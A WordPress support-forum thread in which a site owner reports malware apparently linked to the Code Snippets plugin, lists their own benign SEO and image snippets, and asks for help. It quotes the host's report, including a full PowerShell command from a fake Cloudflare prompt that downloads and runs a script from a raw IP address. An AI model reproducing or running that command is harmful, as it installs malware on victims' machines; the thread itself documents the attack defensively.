Virus alert on Code Snippets Plugin

Hello, answering your inquiries:

1. No, the malware script was found in your plugin. Removing your plugin removed the virus. We’ve tried this twice (reinstalling it opened the door for a new infection, so we’ve had to remove it again);
2. No, we’re not using your plugin anymore, and since then, we haven’t had any infections (its a pitty, actually, because your plugin is really great. Congrats for that, by the way).

Here’s a list of all our snippets:

Rank Math Rules Exclusions (PHP)

===============================

/**

 * Filter to disable some tests

 */

add_filter('rank_math/researches/tests', function ($tests, $type) {

unset($tests['titleHasNumber']);

unset($tests['lengthPermalink']);

unset($tests['hasContentAI']);

unset($tests['keywordInMetaDescription']);

    unset($tests['contentHasTOC']);

unset($tests['keywordDensity']);

unset($tests['keywordInSubheadings']);

unset($tests['lengthContent']);

return $tests;

}, 10, 2 );

Rank Math Filter to change the Post Meta Table Limit (PHP)

=============================== 

/**

 * Filter to change the Post Meta Table Limit

 */

add_filter('rank_math/seo_analysis/postmeta_table_limit', function ( $limit ) {

return 5000000;

}

);

RankMath Clear flush sitemap cache (PHP)

=============================== 

add_filter( 'rank_math/sitemap/enable_caching', '__return_false');
Rank Math Filter Fast indexing API error fix (PHP)

add_filter( 'doing_it_wrong_trigger_error', '__return_false' );

Filter to add Locations KML file in the sitemap (PHP) 

=============================== 

/**

 * Filter to add Locations KML file in the sitemap

 */

add_filter( 'rank_math/sitemap/locations', '__return_true' );

Modify imagify picture tag (PHP)

=============================== 

add_filter( 'imagify_buffer', function( $html ) {

    // Apply changes only inside <div class="cs-overlay-background"> blocks

    $html = preg_replace_callback(

        '#<div[^>]*class=["\'][^"\']*cs-overlay-background[^"\']*["\'][^>]*>(.*?)</div>#is',

        function ( $divMatches ) {

            $divContent = $divMatches[1];

            // Modify picture tags WITH style attribute

            $divContent = preg_replace_callback(

                '/<picture([^>]*?)style\s*=\s*["\']([^"\']*)["\']([^>]*)>/i',

                function ( $matches ) {

                    $style = $matches[2];

                    if ( stripos( $style, 'height' ) === false ) {

                        $style = rtrim( $style, '; ' ) . '; height:100%;';

                    }

                    return '<picture' . $matches[1] . 'style="' . $style . '"' . $matches[3] . '>';

                },

                $divContent

            );

            // Modify picture tags WITHOUT style attribute

            $divContent = preg_replace(

                '/<picture(?![^>]*\bstyle=)([^>]*)>/i',

                '<picture style="height:100%;"$1>',

                $divContent

            );

            // Return modified div

            return str_replace($divMatches[1], $divContent, $divMatches[0]);

        },

        $html

    );

    return $html;

} );

Mastodon Tag (HTML)

=============================== 

<meta name="fediverse:creator" content="@[email protected]">

if you need anything else, just let me know.

Kind regards and thanks for helping out! 🙂

By your answer, it seems you didn’t understand how the virus works: it SIMULATES a FAKE CloudFlare screen. So it does not relate to the official Cloudflare service at all, ok?

I’ve removed the plugin, then reinstalled it. After a few days, the virus returned.

In my latest test, I’ve now removed the plugin again, then deleted leftover tables from it, and installed it again. I’ll let you know if the virus returns.

The devs at my server found it. Here’s what they’ve explained to me in July 10th:

“We’ve found malware on your site and the same was related to the ” code-snippets ” plugin. This malware is particularly dangerous, as shows a fake Cloudflare screen that prompts the user to execute of a PowerShell command that downloads and runs a script:

powershell -w h -c “$f=$env:TEMP+’\\’+[guid]::NewGuid()+’.ps1′;curl http://185.100.157.79/wXq.dof -o $f;powershell -w h -ep Bypass -f $f”

Currently, the plugin is enabled, and if you disable it, the required authentication (fake Cloudflare page) will not be presented.”

Thanks. Can someone in your team be available to help me out with these tasks? I’m not a developer and I don’t have one, so I won’t be able to follow on this alone.